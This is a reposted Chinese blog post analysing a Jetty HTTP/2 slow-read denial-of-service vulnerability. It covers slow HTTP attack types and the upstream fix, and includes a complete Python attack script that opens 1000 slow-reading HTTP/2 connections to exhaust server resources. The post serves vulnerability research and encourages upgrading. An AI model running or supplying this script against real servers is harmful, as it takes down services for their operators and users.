Jetty HTTP2.0 DoS漏洞分析
Hello, 好久没写技术博客了。最近作者在使用Jetty时发现了一个有意思的漏洞,想和大家分享一下。如果有任何疑问或错误欢迎指出。
背景
Tomcat和Jetty都是被广泛用于项目的开源Servlet容器。本文不会阐述Tomcat和Jetty之间的区别,感兴趣的同学可以自行学习相关内容。
Jetty团队去年在github issues中爆出了一个可能被DoS攻击的中级漏洞。github.com/eclipse/jet…
大致是,在Jetty容器引用http2-server组件开启HTTP2.0功能后,同时开发者提供了使用HTTP2.0协议服务接口。访问非正常URL时,攻击者可以通过耗尽TCP滑动窗口或HTTP2.0流控来达到耗尽Jetty服务器资源,从而达到DoS攻击效果。噢吼,这不就是HTTP慢速攻击吗。下面我们先来介绍一下HTTP慢速攻击,再来分析Jetty有漏洞的源码,之后我们做个实验来验证一下这个漏洞。
HTTP慢速攻击
HTTP慢速攻击是应用层DoS攻击的一种。由Web安全专家RSnake在2009年提出的一种攻击方式,其原理是以极低速度向服务器发送HTTP请求,服务器有并发数限制。一旦这些恶意链接不释放,同时不停的创建新的恶意链接就会导致服务器资源被耗尽。
HTTP慢速攻击一共有3种
Slow Header攻击
Slow Header攻击利用HTTP 请求头设计。众所周知HTTP Header是文本信息。每个属性,比如Content-Type: text/plain都是由"\r\n"来进行分隔的。最后一个属性后面会拼接"\r\n\r\n"来告知服务器请求头已传输完毕,请处理我的请求。攻击者利用这个设计,永远不传"\r\n\r\n",同时,我们也知道HTTP服务器在没有接收到完整的请求头是不会处理请求的。这时,服务器就不得不一直维持着链接。一旦存在大量这种链接,就会导致服务器资源被耗尽。新的请求无法处理。
Slow POST攻击
攻击者将Content-Length设置为一个很大的值,但是却用非常慢的速度来发送数据。这就会导致服务器一直维护着链接,大量此类型连接就会导致服务器资源耗尽。
Slow Read攻击
利用TCP滑动窗口机制,攻击者将客户端内核读缓冲区设置的非常小。同时,用非常慢的速率将内核读缓冲区的数据拷贝到用户进程缓冲区。这时,服务器端就会收到客户端发来的ZeroWindow消息,让服务器端以为客户端非常忙碌无法处理发来的Response消息。服务器不得不维持着连接。大量此链接的存在就会导致服务器资源消耗殆尽。
漏洞源码
首先贴上Jetty团队修复漏洞的PR链接github.com/eclipse/jet…
这个漏洞存在HttpChannelOverHTTP2.java 的OnRequest和OnPush方法中(OnPush为HTTP2.0特有的服务端推送功能)。我们继续看看OnBadMessage是干什么的。为什么不返回NULL了,而是直接返回一个Runnable对象?
OnBadMessage是在处理请求时出现异常时,向客户端返回错误信息用的。OnBadMessage与OnRequest是在同一个线程上下文。一旦攻击者使用Slow Read来攻击,就会导致jetty的 worker selector线程被阻塞(jetty底层使用的是netty框架)。所以,为了防止阻塞worker线程,jetty团队直接返回一个Runnable对象将它丢到任务队列中,释放线程来处理新的请求。
实验
目前,大多数的HTTP慢速攻击工具,比如基于C++的slowhttptest都不支持HTTP2.0协议。没关系我们可以手搓一个。
注意!!!目前大多数支持HTTP2.0 协议的Servelt容器都要求配置TLS链接。在TLS握手的ALPN(应用协议协商)阶段,客户端和服务器端会达成使用哪种HTTP协议的约定。虽然HTTP2.0协议没有强制要求必须进行TLS握手,但是,使用Jetty HTTP2.0功能必须配置TLS。
攻击脚本
使用Python搓一个Slow Read攻击脚本, 使用h2 HTTP2.0客户端库
(在此声明,工具仅提供研究漏洞使用。用于其他目的造成的影响,后果自负,作者概不负责)
import socket
import ssl
import time
import h2.connection
import h2.events
from concurrent.futures import ThreadPoolExecutor
def attack(ip: str, port: int, url: str):
try:
# 设置TLS
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 将内核读缓冲区设置为128bytes
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 128)
s.settimeout(1200)
s = ctx.wrap_socket(s, server_hostname=ip)
s.connect((ip, port))
# 设置HTTP2.0
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
except Exception as e:
print(e)
return
# HTTP2.0请求头与HTTP/1稍有不同
headers = [
(':method', 'GET'),
(':path', url),
(':authority', ip),
(':scheme', 'https'),
('keep-alive', 'timeout=5000, max=5000')
]
c.send_headers(1, headers, end_stream=True)
s.sendall(c.data_to_send())
resp_stream_end = False
while not resp_stream_end:
# 每次只从内核读缓冲区读取1byte
data = s.recv(1)
if not data:
break
events = c.receive_data(data)
for event in events:
if isinstance(event, h2.events.StreamEnded):
resp_stream_end = True
break
# 每读一个字节,线程休眠15s
time.sleep(15)
c.close_connection()
s.sendall(c.data_to_send())
s.close()
if __name__ == '__main__':
# 创建1000个发送invalid URL的连接
with ThreadPoolExecutor(max_workers=1000) as pool:
for i in range(0, 1000):
pool.submit(attack, ip, port, invalid_url)
服务器端
服务器端我们使用spring-boot-starter-web,排除Tomcat使用Jetty内嵌式容器。
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.0.4</version>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jetty</artifactId>
<version>2.6.6</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-alpn-conscrypt-server</artifactId>
<version>9.4.15.v20190215</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty.http2</groupId>
<artifactId>http2-server</artifactId>
<version>9.4.15.v20190215</version>
</dependency>
</dependencies>
配置文件中要开启TLS和http2功能
ssl:
key-store: classpath:cert.jks
key-password: 123456
http2:
enabled: true
随意写一个Controller类。
可以看到在没有攻击前,请求是正常的,而且协议使用的是h2, 也就是http2.0
攻击开始
通过wireshake抓包可以看到客户端向服务器端发送ZeroWindow 探针。Slow Read 攻击出现
攻击结束后,服务已经无法访问
此时通过lsof命令可以看到,jetty在DoS攻击后未能回收连接资源。文件句柄数为548,已经超过512的限制。已经无法再处理新的请求,只能重启服务。DoS攻击成功。
总结
漏洞出现的Jetty版本是9.4.46,理论上小于该版本的Jetty在使用HTTP2.0协议功能的时候都可能会受到DoS攻击。Jetty团队已修复该漏洞。所以,如果使用还在使用低版本Jetty的同学建议升级。
转载自:https://juejin.cn/post/7233409321340715067